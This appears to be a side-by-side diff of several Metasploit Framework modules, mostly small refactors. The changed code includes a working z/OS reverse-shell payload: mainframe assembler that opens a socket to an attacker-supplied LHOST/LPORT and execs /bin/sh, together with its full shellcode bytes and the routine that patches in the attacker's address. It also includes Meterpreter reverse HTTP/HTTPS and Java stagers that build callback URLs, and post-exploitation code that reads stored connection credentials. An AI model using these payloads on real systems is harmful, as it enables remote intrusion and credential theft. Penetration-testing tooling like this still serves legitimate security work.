" LHI 6,20 # offset from SA of first parm\n" + " LHI 6,20 # offset from SA of first parm\n" \
" LA 1,0(6,13) # start of dest parm list\n" + " LA 1,0(6,13) # start of dest parm list\n" \
"@LOOP2 ST 5,0(6,13) # store parms address in parm\n" + "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" \
" AHI 3,-1 # decrement # parm\n" + " AHI 3,-1 # decrement # parm\n" \
" CIJ 3,11,8,@FIX # haky fix for EXEC func\n" + " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" \
"@RETX AHI 6,4 # increment dest parm addr\n" + "@RETX AHI 6,4 # increment dest parm addr\n" \
" AHI 5,4 # increment src parm addr\n" + " AHI 5,4 # increment src parm addr\n" \
" CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" + " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" \
" LA 5,0(6,13)\n" + " LA 5,0(6,13)\n" \
" AHI 5,-4\n" + " AHI 5,-4\n" \
" OI 0(5),X'80' # last parm first bit high\n" + " OI 0(5),X'80' # last parm first bit high\n" \
"@FIN1 BALR 14,15 # call function\n" + "@FIN1 BALR 14,15 # call function\n" \
" L 14,8(,13) # set up return address\n" + " L 14,8(,13) # set up return address\n" \
" BCR 15,14 # return to caller\n" + " BCR 15,14 # return to caller\n" \
"@FIX AHI 5,4 # need extra byte skipped for exec\n" + "@FIX AHI 5,4 # need extra byte skipped for exec\n" \
" BRC 15,@RETX\n" + " BRC 15,@RETX\n" \
"\n" + "\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
"* Arg Arrays, Constants and Save Area *\n" + "* Arg Arrays, Constants and Save Area *\n" \
"***********************************************************************\n" + "***********************************************************************\n" \
" DS 0F\n" + " DS 0F\n" \
"*************************\n" + "*************************\n" \
"**** Func Names ****\n" + "**** Func Names ****\n" \
"*************************\n" + "*************************\n" \
"@@F1 DC CL8'BPX1SOC '\n" + "@@F1 DC CL8'BPX1SOC '\n" \
"@@F2 DC CL8'BPX1CON '\n" + "@@F2 DC CL8'BPX1CON '\n" \
"@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" + "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" \
"@@FC1 DC CL8'BPX1FCT '\n" + "@@FC1 DC CL8'BPX1FCT '\n" \
"* # BPX1EXC Constants\n" + "* # BPX1EXC Constants\n" \
"EXARG1 DC CL2'sh' # arg 1 to exec\n" + "EXARG1 DC CL2'sh' # arg 1 to exec\n" \
"* # BPX1CON Constants\n" + "* # BPX1CON Constants\n" \
"SSTR DC X'100202PPPPaaaaaaaa'\n" + "SSTR DC X'100202PPPPaaaaaaaa'\n" \
"* # BPX1EXC Arguments\n" + "* # BPX1EXC Arguments\n" \
"EXCPRM1 DS 0F # actual parm list of exec call\n" + "EXCPRM1 DS 0F # actual parm list of exec call\n" \
"EXCMDL DC F'7' # len of cmd to exec\n" + "EXCMDL DC F'7' # len of cmd to exec\n" \
"EXCMD DC CL7'/bin/sh' # command to exec\n" + "EXCMD DC CL7'/bin/sh' # command to exec\n" \
"*********************************************************************\n" + "*********************************************************************\n" \
"******* Below this line is filled in runtime, but at compile ********\n" + "******* Below this line is filled in runtime, but at compile ********\n" \
"******* is all zeroes, so it can be dropped from the shell- *********\n" + "******* is all zeroes, so it can be dropped from the shell- *********\n" \
"******* code as it will be dynamically added back and the ***********\n" + "******* code as it will be dynamically added back and the ***********\n" \
"******* offsets are already calulated in the code *******************\n" + "******* offsets are already calulated in the code *******************\n" \
"*********************************************************************\n" + "*********************************************************************\n" \
"ZEROES DS 0F # 51 4 byte slots\n" + "ZEROES DS 0F # 51 4 byte slots\n" \
"EXARGC DC F'0' # num of arguments\n" + "EXARGC DC F'0' # num of arguments\n" \
"EXARGS DC 10XL4'00000000' # reminaing exec args\n" + "EXARGS DC 10XL4'00000000' # reminaing exec args\n" \
"EXARG1L DC F'0' # arg1 length\n" + "EXARG1L DC F'0' # arg1 length\n" \
"* # BPX1FCT Arguments\n" + "* # BPX1FCT Arguments\n" \
"@FFD DC F'0' # file descriptor\n" + "@FFD DC F'0' # file descriptor\n" \
"@ACT DC F'0' # fnctl action\n" + "@ACT DC F'0' # fnctl action\n" \
"@ARG DC F'0' # argument to fnctl\n" + "@ARG DC F'0' # argument to fnctl\n" \
"@RETFD DC F'0' # fd return\n" + "@RETFD DC F'0' # fd return\n" \
"FR1 DC F'0' # rtn code\n" + "FR1 DC F'0' # rtn code\n" \
"FR2 DC F'0' # rsn code\n" + "FR2 DC F'0' # rsn code\n" \
"* # BPX1SOC Arguments\n" + "* # BPX1SOC Arguments\n" \
"DOM DC F'0' # AF_INET = 2\n" + "DOM DC F'0' # AF_INET = 2\n" \
"TYPE DC F'0' # sock stream = 1\n" + "TYPE DC F'0' # sock stream = 1\n" \
"PROTO DC F'0' # protocol ip = 0\n" + "PROTO DC F'0' # protocol ip = 0\n" \
"DIM DC F'0' # dim_sock = 1\n" + "DIM DC F'0' # dim_sock = 1\n" \
"CLIFD DC F'0' # client file descriptor\n" + "CLIFD DC F'0' # client file descriptor\n" \
"SR1 DC F'0' # rtn val\n" + "SR1 DC F'0' # rtn val\n" \
"SR2 DC F'0' # rtn code\n" + "SR2 DC F'0' # rtn code\n" \
"SR3 DC F'0' # rsn code\n" + "SR3 DC F'0' # rsn code\n" \
"* # BPX1CON Arguments\n" + "* # BPX1CON Arguments\n" \
"CLIFD2 DC F'0' # CLIFD\n" + "CLIFD2 DC F'0' # CLIFD\n" \
"SOCKLEN DC F'0' # length of Sock Struct\n" + "SOCKLEN DC F'0' # length of Sock Struct\n" \
"SRVSKT DC XL2'0000' # srv socket struct\n" + "SRVSKT DC XL2'0000' # srv socket struct\n" \
" DC XL2'0000' # port\n" + " DC XL2'0000' # port\n" \
" DC XL4'00000000' # RHOST 0.0.0.0\n" + " DC XL4'00000000' # RHOST 0.0.0.0\n" \
"CR1 DC F'0' # rtn val\n" + "CR1 DC F'0' # rtn val\n" \
"CR2 DC F'0' # rtn code\n" + "CR2 DC F'0' # rtn code\n" \
"CR3 DC F'0' # rsn code\n" + "CR3 DC F'0' # rsn code\n" \
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" + "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" \
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" + "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" \
" END MAIN\n" + " END MAIN\n" \
"ZZ\n" + "ZZ\n" \
"//*\n" "//*\n"
})) }))
end end
# replace our own LPORT/LHOST # replace our own LPORT/LHOST
def replace_var(raw, name, offset, pack) def replace_var(raw, name, offset, pack)
super super
if( name == 'LHOST' and datastore[name] ) if name == 'LHOST' && datastore[name]
val = Rex::Socket.resolv_nbo(datastore[name]) val = Rex::Socket.resolv_nbo(datastore[name])
val = val.unpack("H*")[0] val = val.unpack("H*")[0]
raw[offset, val.length] = val raw[offset, val.length] = val
return true return true
elsif(name == 'LPORT' and datastore[name] ) elsif name == 'LPORT' && datastore[name]
val = datastore[name] val = datastore[name]
val = val.to_s(16).rjust(4,'0') val = val.to_s.to_i.to_s(16).rjust(4, '0')
raw[offset, val.length] = val raw[offset, val.length] = val
return true return true
else else

View File

@ -7,14 +7,12 @@
# #
## ##
require 'msf/core' require 'msf/core'
require 'msf/core/handler/reverse_tcp' require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/mainframe_shell' require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options' require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = 339 CachedSize = 339
include Msf::Payload::Single include Msf::Payload::Single
@ -39,30 +37,30 @@ module MetasploitModule
'Offsets' => 'Offsets' =>
{ {
'LPORT' => [ 321, 'n' ], 'LPORT' => [ 321, 'n' ],
'LHOST' => [ 323, 'ADDR' ], 'LHOST' => [ 323, 'ADDR' ]
}, },
'Payload' => 'Payload' =>
"\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" + "\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" \
"\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" + "\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" \
"\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" + "\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" \
"\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" + "\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" \
"\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" + "\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" \
"\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" + "\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" \
"\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" + "\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" \
"\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" + "\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" \
"\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" + "\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" \
"\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" + "\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" \
"\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" + "\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" \
"\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" + "\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" \
"\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" + "\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" \
"\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" + "\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" \
"\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" + "\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" \
"\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" + "\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" \
"\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" + "\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" \
"\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" + "\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" \
"\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" + "\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" \
"\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" + "\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" \
"\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" + "\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" \
"\x61\xa2\x88" "\x61\xa2\x88"
})) }))
end end

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule module MetasploitModule
CachedSize = 26778 CachedSize = 26803
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp include Msf::Payload::Php::ReverseTcp

View File

@ -35,7 +35,7 @@ module MetasploitModule
def generate_reverse_http(opts={}) def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({ met = stage_meterpreter({
http_url: generate_callback_url(opts), http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent], http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host], http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port] http_proxy_port: opts[:proxy_port]

View File

@ -36,7 +36,7 @@ module MetasploitModule
opts[:scheme] = 'https' opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({ met = stage_meterpreter({
http_url: generate_callback_url(opts), http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent], http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host], http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port] http_proxy_port: opts[:proxy_port]

View File

@ -30,13 +30,13 @@ module MetasploitModule
def generate_jar(opts={}) def generate_jar(opts={})
# Default URL length is 30-256 bytes # Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space # Generate the short default URL if we don't know available space
if self.available_space.nil? if self.available_space.nil?
uri_req_len = 5 uri_req_len = 5
end end
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts? # TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len) url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -36,7 +36,7 @@ module MetasploitModule
uri_req_len = 5 uri_req_len = 5
end end
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
# TODO: perhaps wire in an existing UUID from opts? # TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len) url << generate_uri_uuid_mode(:init_java, uri_req_len)

View File

@ -41,7 +41,7 @@ module MetasploitModule
def config def config
# Default URL length is 30-256 bytes # Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30) uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
# Generate the short default URL if we don't know available space # Generate the short default URL if we don't know available space
if self.available_space.nil? if self.available_space.nil?
@ -53,8 +53,8 @@ module MetasploitModule
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}" c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/" c << "#{luri}"
c << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n" c << "\n"
c c

View File

@ -57,6 +57,7 @@ module MetasploitModule
c << "Spawn=#{spawn}\n" c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}" c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"] c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "#{luri}"
c << generate_uri_uuid_mode(:init_java, uri_req_len) c << generate_uri_uuid_mode(:init_java, uri_req_len)
c << "\n" c << "\n"

View File

@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post
end end
else else
if pass_file if pass_file
if not ::File.exists?(pass_file) if not ::File.exist?(pass_file)
print_error("Wordlist File #{pass_file} does not exists!") print_error("Wordlist File #{pass_file} does not exists!")
return return
end end

View File

@ -43,7 +43,7 @@ class MetasploitModule < Msf::Post
# gnome-commander connections file # gnome-commander connections file
connections_file = "#{dir}/.gnome-commander/connections" connections_file = "#{dir}/.gnome-commander/connections"
if file?(connections_file) if file?(connections_file)
#File exists #File.exist
begin begin
str_file=read_file(connections_file) str_file=read_file(connections_file)
print_good("File found: #{connections_file}") print_good("File found: #{connections_file}")

Some files were not shown because too many files have changed in this diff Show More